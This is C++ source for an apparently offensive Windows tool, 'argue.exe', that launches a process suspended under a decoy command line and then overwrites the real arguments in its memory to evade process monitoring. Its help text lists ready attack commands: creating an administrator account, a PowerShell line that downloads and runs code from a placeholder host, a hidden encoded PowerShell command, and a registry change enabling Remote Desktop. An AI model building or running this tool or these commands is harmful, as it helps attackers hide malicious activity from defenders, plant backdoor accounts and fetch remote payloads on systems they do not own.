#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include<string>
using namespace std;
typedef NTSTATUS(NTAPI *_NtQueryInformationProcess)(
IN HANDLE ProcessHandle,
ULONG ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
void* readProcessMemory(HANDLE process, void* address, DWORD bytes) {
//SIZE_T bytesRead;
char* alloc;
alloc = (char*)malloc(bytes);
if (alloc == NULL) {
return NULL;
}
if (ReadProcessMemory(process, address, alloc, bytes, NULL) == 0) {
free(alloc);
return NULL;
}
return alloc;
}
BOOL writeProcessMemory(HANDLE process, void* address, void* data, DWORD bytes) {
//SIZE_T bytesWritten;
if (WriteProcessMemory(process, address, data, bytes, NULL) == 0) {
return false;
}
return true;
}
wstring charToWstring(const char* szIn)
{
int length = MultiByteToWideChar(CP_ACP, 0, szIn, -1, NULL, 0);
WCHAR* buf = new WCHAR[length + 1];
ZeroMemory(buf, (length + 1) * sizeof(WCHAR));
MultiByteToWideChar(CP_ACP, 0, szIn, -1, buf, length);
std::wstring strRet(buf);
delete[] buf;
return strRet;
}
int main(int argc, char** argv)
{
if (argc < 2) {
printf("Usage:argue.exe \"net1.exe xx\" \"net1.exe user admin /add\" \n");
printf("-h help");
return 1;
}
if (strcmp(argv[1], "-h") == 0)
{
printf("[+] \" Escape \\\" \n");
printf("[+] The length of parameter 1 must be greater than parameter 2.\n");
printf("[+] Common command: \n");
printf("argue.exe \"net1.exe xxxx\" \"net1.exe user admin pass /add\" \n");
printf("argue.exe \"net localgroup\" \"Administrators admin /add\" \n");
printf("argue.exe \"powershell.exe xx\" \"powershell.exe -nop -c \\\"iex(New - Object Net.WebClient).DownloadString('http://xxx/')\\\" \" \n");
printf("argue.exe \"powershell.exe xx\" \"powershell.exe -ExecutionPolicy bypass -windowstyle hidden -EncodedCommand Base64\" \n");
printf("argue.exe \"regedit.exe xx\" \"regedit.exe /s file.reg\" \n");
printf("argue.exe \"reg.exe xxx\" \"reg.exe add \\\"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\\" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f\" \n ");
return 1;
}
if (strlen(argv[1])<strlen(argv[2]))
{
printf("[!] Error: Parameter 1 is less than parameter 2 \n");
return 1;
}
STARTUPINFOA si;
PROCESS_INFORMATION pi;
BOOL success;
PROCESS_BASIC_INFORMATION pbi;
PEB pebLocal;
RTL_USER_PROCESS_PARAMETERS* parameters;
memset(&si, 0, sizeof(si));
si.wShowWindow = SW_HIDE;
memset(&pi, 0, sizeof(pi));
// 创建进程
success = CreateProcessA(
NULL,
argv[1],
NULL,
NULL,
FALSE,
CREATE_SUSPENDED | CREATE_NO_WINDOW,
NULL,
//"C:\\Windows\\System32\\",
NULL,
&si,
&pi);
if (success == FALSE) {
printf("[!] Error: Unable to call CreateProcess to create process\n");
return 1;
}
_NtQueryInformationProcess ntpi = (_NtQueryInformationProcess)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");
ntpi(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), NULL);
if (success == FALSE)
{
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
printf("[!] Error: Could not call ReadProcessMemory to grab PEB\n");
return -1;
}
//从PEB获取ProcessParameters
parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(
pi.hProcess,
pebLocal.ProcessParameters,
sizeof(RTL_USER_PROCESS_PARAMETERS) + 300
);
//设置我们要使用的实际参数
wstring wspoofed = charToWstring(argv[2]);
WCHAR* wchar_wspoofed = (WCHAR*)wspoofed.c_str();
success = writeProcessMemory(pi.hProcess, parameters->CommandLine.Buffer, (void*)wchar_wspoofed, wcslen(wchar_wspoofed)* 2 + 1);
if (success == FALSE) {
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
printf("[!] Error: Could not call WriteProcessMemory to update commandline args\n");
return 1;
}
//更新命令行长度欺骗进程浏览器
DWORD newUnicodeLen = 5;
success = WriteProcessMemory(
pi.hProcess,
(char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length),
(void*)&newUnicodeLen,4,NULL);
if (success == FALSE) {
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
printf("[!] Error: Could not call WriteProcessMemory to update commandline arg length\n");
return 1;
}
ResumeThread(pi.hThread);
}
